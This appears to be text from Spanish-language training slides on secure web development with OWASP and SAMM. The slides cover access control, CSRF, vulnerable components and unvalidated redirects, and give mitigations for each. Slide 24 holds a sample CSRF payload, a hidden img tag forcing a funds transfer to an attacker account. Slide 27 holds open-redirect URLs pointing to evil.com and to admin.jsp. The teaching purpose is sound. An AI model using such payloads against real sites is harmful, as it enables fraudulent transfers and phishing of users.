  • 23. OWASP | Funcionalidad Limitada para Niveles de Control de Acceso [Missing Function Level Access Control]  Determinar al nivel de interfaz de navegación funciones no autorizadas.  Depurar dentro del proyecto (aplicación) funciones que no estén en uso.  Comprobar si algunas funciones necesitan autenticación por parte del servidor de aplicaciones o del cliente (usuario final).  Identificara parámetros de [Proxy], que impliquen validaciones dentro de las funciones para el control de acceso.  Identificar sitio de confianza o restringidos para determinar el comportamiento de las funciones en el control de acceso.  Identificar patrones de autorización dentro de las funciones que comprenden el flujo de trabajo en el proyecto. Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 24. OWASP | Falsificación de Peticiones en Sitios Cruzados [Cross-Site Request Forgery (CSRF)] Escenario: La aplicación permite al usuario enviar una solicitud cambiante de estado que no incluye nada encriptado. Por ejemplo: http://midominio.com/app/transferFunds?amount=1500 y destinationAccount = 4673243243 Por lo tanto, el atacante construye una solicitud para que se transfiera el dinero de la cuenta de la víctima a la cuenta del atacante y, después incorpore este ataque en una solicitud dentro del llamado de la imagen o de un iframe, almacena en varios sitios bajo el control del atacante: <img src="http://midominio.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> Si la víctima accede a cualquiera de los sitios del atacante, mientras que ya este autenticado para el sitio midominio.com, estas solicitudes forzadas incluirán automáticamente información de la sesión del usuario, autorizando la solicitud del atacante y permitiendo infringir en el acceso de los datos generando la eventualidad. Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 25. OWASP | Falsificación de Peticiones en Sitios Cruzados [Cross-Site Request Forgery (CSRF)] Hay que verificar los vínculos y formas que carecen de un “token”, así como también forzar a que el usuario final demuestre que es humano y no un robot de ataque a este concepto se les llama [CAPTCHA - Completely Automated Public Turing test to tell Computers and Humans Apart (Prueba de Turing pública y automática para diferenciar máquinas y humanos)] http://www.google.com/recaptcha Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 26. OWASP | Uso de Componentes vulnerables [Using Known Vulnerable Components] Escenario: Ejecución de componentes públicos en la web sin soporte y control de versiones para identificar riesgos – eventualidades en tiempo d ejecución, alta dependencia de [Plug-in´s], dentro del entorno para el usuario final por ejemplo [Apache CXF autenticación Bypass - Por no proporcionar un testigo de identidad, los atacantes podrían invocar cualquier servicio web con el permiso completo. (Apache CXF es un marco de servicios, que no debe confundirse con el Apache Application Server.)]. Para reducir el punto anterior es pertinente llevar un registro [Software control de versiones], que permita Administrar en tiempo de ejecución los componente utilizados en el proyecto, para determinar la vigencia de uso., Evitar usar componentes que no sean de autoría propia o descargados de la web [que no tengan soporte a eventualidades y actualización de versiones, licenciamiento o dependencias de Plug-Ins], dentro del código realizar un control de versiones referente a un mensaje de correo para detectar eventualidades en el flujo del sistema en tiempo de ejecución Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 27. OWASP | Redirecciones y reenvíos no validados [Unvalidated Redirects and Forwards] Escenario # 1: La aplicación tiene una página llamada "redirect.jsp", que tiene un solo parámetro denominado "url", que redirige a los usuarios a un sitio malicioso que realiza el [phishing – malware]. http://www.midominio.com/redirect.jsp?url=evil.com Escenario # 2: La aplicación utiliza un [Forward] para redirigir peticiones entre diferentes partes del sitio, algunas páginas utilizan un parámetro para indicar que el usuario debe ser enviada si una transacción tiene éxito. En este caso, puede ser que envía funcionalidades que permitan el más uso de la aplicación en tiempo de ejecución o denegar servicios no autorizados. http://www.midominio.com/boring.jsp?fwd=admin.jsp Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 28. OWASP | Redirecciones y reenvíos no validados [Unvalidated Redirects and Forwards] Una buena práctica es identificar si en el código del proyecto existe redirecciones a otros servicios – servidores, validar el manejo de expresiones controlada por una bitácora para controlar la (redirecciones - reenvió), controlar los errores http de tipo (códigos 300-307), no implicar parámetros a la referencias de (reenvíos) con la finalidad de controlar los parámetros de acción, usar EASAPI´s para redirecciones seguras [ejemplo sendRedirect ()], evitando el [phishing (suplantación de identidad)] Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 29. Tema | Subtema Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}